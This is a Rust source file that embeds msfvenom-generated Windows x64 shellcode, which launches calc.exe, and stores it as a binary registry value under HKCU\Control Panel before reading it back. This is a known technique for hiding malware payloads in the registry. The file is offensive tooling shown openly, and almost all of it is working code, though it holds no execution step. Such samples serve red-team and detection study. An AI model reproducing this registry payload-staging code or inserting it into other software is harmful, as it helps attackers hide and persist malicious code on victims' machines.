use std::ffi::c_void;
use windows::{
    core::{s, Result},
    Win32::System::Registry::{
        RegCloseKey, RegGetValueA, RegOpenKeyExA, 
        RegSetValueExA, HKEY, HKEY_CURRENT_USER,
        KEY_SET_VALUE, REG_BINARY, REG_VALUE_TYPE, 
        RRF_RT_ANY,
    },
};

// msfvenom -p windows/x64/exec CMD=calc.exe -f rust
const SHELLCODE: [u8; 276] = [
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
    0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
    0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
    0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
    0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
    0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
    0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
    0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
    0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
    0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
    0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
    0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
    0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
    0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];

fn main() -> Result<()> {
    // Writing to the registry
    write_registry(&SHELLCODE)?;
    
    // Reading from the registry
    let data = read_registry(SHELLCODE.len())?;
    println!("{:?}", data);

    Ok(())
}

/// Writes a buffer into a specified registry key.
///
/// # Arguments
///
/// * `buf` - A byte slice (`&[u8]`) containing the shellcode to write into the registry.
///
/// # Returns
///
/// * `Ok(())` on success.
/// * `Err(Error)` if writing to the registry fails.
fn write_registry(buf: &[u8]) -> Result<()> {
    unsafe {
        let mut hkey: HKEY = HKEY::default();
        RegOpenKeyExA(
            HKEY_CURRENT_USER,
            s!("Control Panel"),
            0,
            KEY_SET_VALUE,
            &mut hkey,
        )?;

        // Enter your key name here
        RegSetValueExA(hkey, s!("victorteste"), 0, REG_BINARY, Some(&buf))?;
        RegCloseKey(hkey)
    }
}

/// Reads a buffer from a specified registry key.
///
/// # Arguments
///
/// * `size` - The expected size of the data to read (in bytes).
///
/// # Returns
///
/// * `Ok(Vec<u8>)` containing the data read from the registry.
/// * `Err(Error)` if reading fails.
fn read_registry(size: usize) -> Result<Vec<u8>> {
    unsafe {
        let mut data = vec![0u8; size];
        let payload = data.as_mut_ptr() as *mut c_void;
        let mut data_size = size as u32;

        // Read the value from the registry
        RegGetValueA(
            HKEY_CURRENT_USER,
            s!("Control Panel"),
            s!("victorteste"),
            RRF_RT_ANY,
            Some(&mut REG_VALUE_TYPE(0)),
            Some(payload),
            Some(&mut data_size),
        )?;

        Ok(data)
    }
}
